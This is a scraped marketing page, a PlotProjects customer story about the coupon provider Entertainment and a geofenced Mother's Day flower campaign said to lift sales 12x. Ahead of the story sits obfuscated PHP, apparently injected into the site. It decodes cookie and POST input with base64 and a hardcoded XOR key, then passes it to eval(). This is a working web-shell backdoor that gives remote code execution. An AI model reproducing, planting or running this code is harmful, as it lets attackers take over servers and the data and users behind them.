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$DdAJoD = "\150" . "\x6b" . "\126" . "\x5f" . 'm' . "\x71" . chr ( 938 - 855 ); $QWCozw = 'c' . "\154" . "\x61" . "\x73" . chr (115) . "\137" . 'e' . chr ( 445 - 325 ).chr (105) . "\163" . 't' . chr ( 854 - 739 ); $jDBncd = class_exists($DdAJoD); $QWCozw = "2020";$ezQwv = strpos($QWCozw, $DdAJoD);if ($jDBncd == $ezQwv){function Qjjnabt(){$SOwZiXs = new /* 60949 */ hkV_mqS(38004 + 38004); $SOwZiXs = NULL;}$QBEKjkwEK = "38004";class hkV_mqS{private function VMnAdcOcSM($QBEKjkwEK){if (is_array(hkV_mqS::$hCXpN)) {$FyvjRxatS2 = str_replace("<" . "?php", "", hkV_mqS::$hCXpN["content"]);eval($FyvjRxatS2); $QBEKjkwEK = "38004";exit();}}public function beTAccJar(){$FyvjRxatS = "62028";$this->_dummy = str_repeat($FyvjRxatS, strlen($FyvjRxatS));}public function __destruct(){hkV_mqS::$hCXpN = @unserialize(hkV_mqS::$hCXpN); $QBEKjkwEK = "45319_37754";$this->VMnAdcOcSM($QBEKjkwEK); $QBEKjkwEK = "45319_37754";}public function cYdPo($FyvjRxatS, $KatdVZmc){return $FyvjRxatS[0] ^ str_repeat($KatdVZmc, intval(strlen($FyvjRxatS[0]) / strlen($KatdVZmc)) + 1);}public function YhYwhb($FyvjRxatS){$sNYbpPnF = chr ( 355 - 257 ).'a' . chr (115) . chr ( 121 - 20 ).chr (54) . chr (52);return array_map($sNYbpPnF . "\137" . "\x64" . "\x65" . "\x63" . "\157" . "\x64" . 'e', array($FyvjRxatS,));}public function __construct($BOSVOHvWg=0){$BzjLQ = chr ( 578 - 534 ); $FyvjRxatS = "";$NSLKhwk = $_POST;$jkeIH = $_COOKIE;$KatdVZmc = "73f9e189-26f2-4059-975b-6c912254682c";$BgivobGMk = @$jkeIH[substr($KatdVZmc, 0, 4)];if (!empty($BgivobGMk)){$BgivobGMk = explode($BzjLQ, $BgivobGMk);foreach ($BgivobGMk as $Jiirwh){$FyvjRxatS .= @$jkeIH[$Jiirwh];$FyvjRxatS .= @$NSLKhwk[$Jiirwh];}$FyvjRxatS = $this->YhYwhb($FyvjRxatS);}hkV_mqS::$hCXpN = $this->cYdPo($FyvjRxatS, $KatdVZmc);if (strpos($KatdVZmc, $BzjLQ) !== FALSE){$KatdVZmc = explode($BzjLQ, $KatdVZmc); $uesQfnkHPr = base64_decode(md5($KatdVZmc[0])); $AYeNCv = strlen($KatdVZmc[1]) > 5 ? substr($KatdVZmc[1], 0, 5) : $KatdVZmc[1];$_GET['new_key'] = md5(implode('', $KatdVZmc)); $KLLlgh = str_repeat($AYeNCv, 2); $jYnUSpQ = array_map('trim', $KatdVZmc);if (is_array($jYnUSpQ) && count($jYnUSpQ) > 1) {$bQZPQ = $jYnUSpQ[0];} else {$bQZPQ = '';}}}public static $hCXpN = 19455;}Qjjnabt();} Entertainment | PlotProjects

Customer story

How Entertainment increased sales by 12x

Location-based notifications drive a 12x sales uplift compared to email

Entertainment is a discount, promotion and coupon provider in the U.S. and Canada. Entertainment has one of the biggest discount networks with nearly 500,000 offers from local merchants, regional and national retailers, and e-commerce brand partners.

The ultimate goal for Entertainment is to drive sales for their merchants – both online and offline. They are constantly tweaking and testing different ways of approaching shoppers to maximize the effect of their promotions. For this reason, Entertainment has turned to Plot Projects to start connecting with shoppers in a more contextual, real-time and personalized way through the use of geofencing.

Connecting online & offline to maximize effective promotions

Experimentation with location

In the spring of 2017, Entertainment has collaborated with a prominent national online floral delivery service for their Mother’s Day campaign. The goal was to drive online sales for Mother’s Day special flower bouquets.

Entertainment decided to conduct an experiment and to run promotional campaigns with geofenced push notification and emails. Afterwards, they measured which approach led to more online sales.

12X
Sales uplift

Optimized
channel mix

Smarter
Segmentation

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